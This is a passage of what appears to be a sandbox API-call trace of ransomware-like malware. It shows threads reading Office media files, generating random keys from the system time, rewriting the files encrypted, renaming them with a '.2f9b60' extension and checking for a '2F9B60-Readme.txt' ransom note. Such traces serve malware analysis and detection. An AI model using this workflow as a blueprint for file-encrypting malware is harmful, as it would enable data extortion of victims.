Office\\MEDIA\\OFFICE14\\AUTOSHAP\\23b35db796ec.2f9b60" [0217.892] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\23b35db796ec.2f9b60", NtPathName=0x2659fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\23b35db796ec.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fe7f0 [0223.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fe7f0) returned 1 [0223.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431bd590) returned 1 [0223.940] NtQueryInformationFile (in: FileHandle=0x29ac, IoStatusBlock=0x2659fb78, FileInformation=0x2659fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2659fb78, FileInformation=0x2659fb88) returned 0x0 [0223.940] NtSetInformationFile (FileHandle=0x29ac, IoStatusBlock=0x2659fb78, FileInformation=0x2659fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eab40) returned 1 [0225.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43106630) returned 1 [0225.294] FlushFileBuffers (hFile=0x29ac) returned 1 [0225.556] CloseHandle (hObject=0x29ac) returned 1 [0226.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad290 [0226.024] wcscpy (in: _Dest=0x202ad290, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0226.024] wcscat (in: _Dest=0x202ad290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" [0226.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\2f9b60-readme.txt")) returned 0x20 [0226.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad290) returned 1 [0226.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c9c60) returned 1 Thread: id = 3565 os_tid = 0x1a94 [0210.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf")) returned 0x20 [0210.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF", dwFileAttributes=0x20) returned 1 [0210.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1eb8 [0210.958] GetFileSizeEx (in: hFile=0x1eb8, lpFileSize=0x2f90fe40 | out: lpFileSize=0x2f90fe40*=2266) returned 1 [0210.958] SetFilePointerEx (in: hFile=0x1eb8, liDistanceToMove=0x8d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.958] ReadFile (in: hFile=0x1eb8, lpBuffer=0x2f90fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f90fe08, lpOverlapped=0x0 | out: lpBuffer=0x2f90fdc0*, lpNumberOfBytesRead=0x2f90fe08*=0x4, lpOverlapped=0x0) returned 1 [0210.977] SetFilePointerEx (in: hFile=0x1eb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a83e0 [0210.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa030 [0210.978] NtQuerySystemTime (in: CurrentTime=0x2f90fd00 | out: CurrentTime=0x2f90fd00*=132462178158490000) returned 0x0 [0210.978] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x25d249f0 [0210.978] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x3cf6a06f [0210.978] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x2b8d74a1 [0210.978] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x6465839c [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x29284c10 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x7d7e4fc8 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x1b2aa69e [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x1c8eda85 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x71363c4f [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x409987e9 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x1474e99a [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x4b304a7e [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x7cf76ed6 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x7fdee38 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x6daca105 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x73f9e177 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x774d659f [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x5e0e7fe7 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x53dcfe59 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x6e822584 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x4c619f29 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x4067e03f [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x15ec99f9 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x6a324202 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x3ad95c6c [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x411da688 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x3b979425 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x532dba42 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x7d903daa [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x164479ae [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x30109384 [0210.979] RtlRandomEx (in: Seed=0x2f90fcf0 | out: Seed=0x2f90fcf0) returned 0x466e7d9e [0210.989] ReadFile (in: hFile=0x1eb8, lpBuffer=0x2040e2e0, nNumberOfBytesToRead=0x8da, lpNumberOfBytesRead=0x2f90fcf0, lpOverlapped=0x0 | out: lpBuffer=0x2040e2e0*, lpNumberOfBytesRead=0x2f90fcf0*=0x8da, lpOverlapped=0x0) returned 1 [0210.989] SetFilePointerEx (in: hFile=0x1eb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.989] WriteFile (in: hFile=0x1eb8, lpBuffer=0x20411ef0*, nNumberOfBytesToWrite=0x8da, lpNumberOfBytesWritten=0x2f90fcf4, lpOverlapped=0x0 | out: lpBuffer=0x20411ef0*, lpNumberOfBytesWritten=0x2f90fcf4*=0x8da, lpOverlapped=0x0) returned 1 [0215.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431387d0 [0215.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137390 [0215.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137390) returned 1 [0215.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20411ef0) returned 1 [0215.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2040e2e0) returned 1 [0215.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24720) returned 1 [0215.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62820) returned 1 [0215.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x43137390 [0215.439] SetFilePointerEx (in: hFile=0x1eb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.439] WriteFile (in: hFile=0x1eb8, lpBuffer=0x423ab610*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f90fe10, lpOverlapped=0x0 | out: lpBuffer=0x423ab610*, lpNumberOfBytesWritten=0x2f90fe10*=0x10a, lpOverlapped=0x0) returned 1 [0217.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8440 [0217.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8440) returned 1 [0217.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8440 [0217.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9220 [0217.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9220) returned 1 [0217.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.823] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="43") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="12") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="67") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="44") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="4b") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="14") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="c5") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="fc") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="ce") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="9b") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="a8") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="c3") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="e4") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="06") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="e4") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="3b") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="a7") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="61") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="dd") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="49") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="37") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="d4") returned 2 [0217.823] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="dd") returned 2 [0217.824] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="95") returned 2 [0217.824] RtlInitAnsiString (in: DestinationString=0x2f90fe88, SourceString="431267444b14c5fcce9ba8c3e406e43ba761dd4937d4dd95" | out: DestinationString="431267444b14c5fcce9ba8c3e406e43ba761dd4937d4dd95") [0217.824] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f90fe58, SourceString="431267444b14c5fcce9ba8c3e406e43ba761dd4937d4dd95", AllocateDestinationString=1 | out: DestinationString="431267444b14c5fcce9ba8c3e406e43ba761dd4937d4dd95") returned 0x0 [0217.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x431062b0 [0217.824] wcscat (in: _Dest=0x4314f7a0, _Source="431267444b14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\431267444b14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\431267444b14" [0217.824] wcscat (in: _Dest=0x4314f7a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\431267444b14.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\431267444b14.2f9b60" [0217.824] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\431267444b14.2f9b60", NtPathName=0x2f90fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\431267444b14.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1194b0 Thread: id = 3566 os_tid = 0x1a98 [0210.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf")) returned 0x20 [0210.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF", dwFileAttributes=0x20) returned 1 [0210.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f80 [0210.975] GetFileSizeEx (in: hFile=0x1f80, lpFileSize=0x316dfb00 | out: lpFileSize=0x316dfb00*=2266) returned 1 [0210.975] SetFilePointerEx (in: hFile=0x1f80, liDistanceToMove=0x8d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.975] ReadFile (in: hFile=0x1f80, lpBuffer=0x316dfa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x316dfac8, lpOverlapped=0x0 | out: lpBuffer=0x316dfa80*, lpNumberOfBytesRead=0x316dfac8*=0x4, lpOverlapped=0x0) returned 1 [0210.993] SetFilePointerEx (in: hFile=0x1f80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa030 [0210.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a92b0 [0210.994] NtQuerySystemTime (in: CurrentTime=0x316df9c0 | out: CurrentTime=0x316df9c0*=132462178158646000) returned 0x0 [0210.994] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x36a8b7ed [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x75f66cfc [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x2f8e318d [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x4d67beb8 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x3f72e357 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x2b668abf [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x6ecaf35d [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x7382d309 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x6eb2a187 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x2f22c458 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x105adb04 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x26ac9218 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x2f511b0a [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x7904b833 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x767899ab [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x3610a3c7 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x6bea4a2a [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x79724f43 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x48415fbd [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x514cf24e [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x5cb78023 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x6492da98 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x31eac2aa [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x73213c8a [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x6b67446f [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x40b70ad8 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x42500783 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x77fff7f3 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x45ade0d6 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x78b304ef [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0xf710ec1 [0210.995] RtlRandomEx (in: Seed=0x316df9b0 | out: Seed=0x316df9b0) returned 0x6562af81 [0211.006] ReadFile (in: hFile=0x1f80, lpBuffer=0x4299ea60, nNumberOfBytesToRead=0x8da, lpNumberOfBytesRead=0x316df9b0, lpOverlapped=0x0 | out: lpBuffer=0x4299ea60*, lpNumberOfBytesRead=0x316df9b0*=0x8da, lpOverlapped=0x0) returned 1 [0211.007] SetFilePointerEx (in: hFile=0x1f80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.007] WriteFile (in: hFile=0x1f80, lpBuffer=0x4299ae50*, nNumberOfBytesToWrite=0x8da, lpNumberOfBytesWritten=0x316df9b4, lpOverlapped=0x0 | out: lpBuffer=0x4299ae50*, lpNumberOfBytesWritten=0x316df9b4*=0x8da, lpOverlapped=0x0) returned 1 [0215.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139760 [0215.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139f10 [0215.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139f10) returned 1 [0215.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4299ae50) returned 1 [0215.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4299ea60) returned 1 [0215.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24820) returned 1 [0215.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce627d0) returned 1 [0215.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x43139f10 [0215.445] SetFilePointerEx (in: hFile=0x1f80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.446] WriteFile (in: hFile=0x1f80, lpBuffer=0x423aad10*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x316dfad0, lpOverlapped=0x0 | out: lpBuffer=0x423aad10*, lpNumberOfBytesWritten=0x316dfad0*=0x10a, lpOverlapped=0x0) returned 1 [0217.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8cb0 [0217.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8cb0) returned 1 [0217.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8cb0 [0217.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9fa0 [0217.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9fa0) returned 1 [0217.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.830] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="e5") returned 2 [0217.830] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="96") returned 2 [0217.830] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="33") returned 2 [0217.830] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="08") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="5b") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="a2") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="24") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="a9") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="6c") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="4a") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="7a") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="a0") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="c8") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="8b") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="41") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="44") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="c5") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="c8") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="5e") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="e2") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="82") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="f4") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="6e") returned 2 [0217.831] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="00") returned 2 [0217.831] RtlInitAnsiString (in: DestinationString=0x316dfb48, SourceString="e59633085ba224a96c4a7aa0c88b4144c5c85ee282f46e00" | out: DestinationString="e59633085ba224a96c4a7aa0c88b4144c5c85ee282f46e00") [0217.831] RtlAnsiStringToUnicodeString (in: DestinationString=0x316dfb18, SourceString="e59633085ba224a96c4a7aa0c88b4144c5c85ee282f46e00", AllocateDestinationString=1 | out: DestinationString="e59633085ba224a96c4a7aa0c88b4144c5c85ee282f46e00") returned 0x0 [0217.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43106320 [0217.832] wcscat (in: _Dest=0x4314e930, _Source="e59633085ba2" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e59633085ba2") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e59633085ba2" [0217.832] wcscat (in: _Dest=0x4314e930, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e59633085ba2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e59633085ba2.2f9b60" [0217.832] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e59633085ba2.2f9b60", NtPathName=0x316dfaf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e59633085ba2.2f9b60", NtFileNamePart=0x0, 